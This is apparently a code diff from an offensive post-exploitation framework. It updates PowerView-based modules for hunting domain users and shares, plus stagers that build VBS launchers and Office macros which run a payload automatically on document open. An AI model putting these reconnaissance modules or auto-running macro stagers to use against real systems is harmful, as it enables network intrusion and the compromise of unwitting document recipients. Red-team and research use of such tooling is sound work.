script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Invoke-ShareFinder "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -109,7 +117,7 @@ class Module:
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-ShareFinder completed"'
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -36,18 +36,23 @@ class Module:
'Required' : True,
'Value' : ''
},
'Hosts' : {
'ComputerName' : {
'Description' : 'Hosts to enumerate.',
'Required' : False,
'Value' : ''
},
'HostList' : {
'Description' : 'Hostlist to enumerate.',
'ComputerFilter' : {
'Description' : 'Host filter name to query AD for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'HostFilter' : {
'Description' : 'Host filter name to query AD for, wildcards accepted.',
'GroupName' : {
'Description' : 'Group name to query for target users.',
'Required' : False,
'Value' : ''
},
'TargetServer' : {
'Description' : 'Hunt for users who are effective local admins on a target server.',
'Required' : False,
'Value' : ''
},
@ -56,23 +61,18 @@ class Module:
'Required' : False,
'Value' : ''
},
'GroupName' : {
'Description' : 'Group to query for user names.',
'Required' : False,
'Value' : ''
},
'UserList' : {
'Description' : 'List of usernames to search for.',
'UserFilter' : {
'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'StopOnSuccess' : {
'Description' : 'Switch. Stop when a target user is found.',
'Description' : 'Switch. Stop hunting after finding after finding a target user.',
'Required' : False,
'Value' : ''
},
},
'NoPing' : {
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
'Description' : "Don't ping each host to ensure it's up before enumerating.",
'Required' : False,
'Value' : ''
},
@ -86,13 +86,28 @@ class Module:
'Required' : False,
'Value' : ''
},
'ShowAll' : {
'Description' : 'Switch. Show all result output.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'Domain to enumerate for hosts.',
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'ShowAll' : {
'Description' : 'Switch. Return all user location results without filtering.',
'Required' : False,
'Value' : ''
},
'Stealth' : {
'Description' : 'Switch. Only enumerate sessions from connonly used target servers.',
'Required' : False,
'Value' : ''
},
'Threads' : {
'Description' : 'The maximum concurrent threads to execute.',
'Required' : False,
'Value' : ''
}
@ -111,8 +126,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -123,9 +140,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Invoke-UserHunter "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -135,9 +153,7 @@ class Module:
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}"
script += ';"`nInvoke-UserHunter completed"'
return script

View File

@ -19,8 +19,8 @@ class Module:
# True if the module needs to run in the background
'Background' : False,
# True if we're saving the output as a file
'SaveOutput' : True,
# File extension to save the file as
'OutputExtension' : None,
# True if the module needs admin rights to run
'NeedsAdmin' : False,
@ -112,4 +112,4 @@ Invoke-Something"""
else:
script += " -" + str(option) + " " + str(values['Value'])
return script
return script

View File

@ -26,7 +26,7 @@ class Stager:
'Value' : ''
},
'OutFile' : {
'Description' : 'File to output .bat launcher to, otherwise displayed on the screen.',
'Description' : 'File to output .vbs launcher to, otherwise displayed on the screen.',
'Required' : False,
'Value' : '/tmp/launcher.vbs'
},

View File

@ -9,7 +9,7 @@ class Stager:
'Author': ['@enigma0x3', '@harmj0y'],
'Description': ('Generates an office macro for Empire.'),
'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'),
'Comments': [
'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
@ -79,7 +79,10 @@ class Stager:
for chunk in chunks[1:]:
payload += "\tstr = str + \"" + str(chunk) + "\"\n"
macro = "Sub Document_Open()\n"
macro = "Sub Auto_Open()\n"
macro += "\tDebugging\n"
macro += "End Sub\n\n"
macro += "Sub Document_Open()\n"
macro += "\tDebugging\n"
macro += "End Sub\n\n"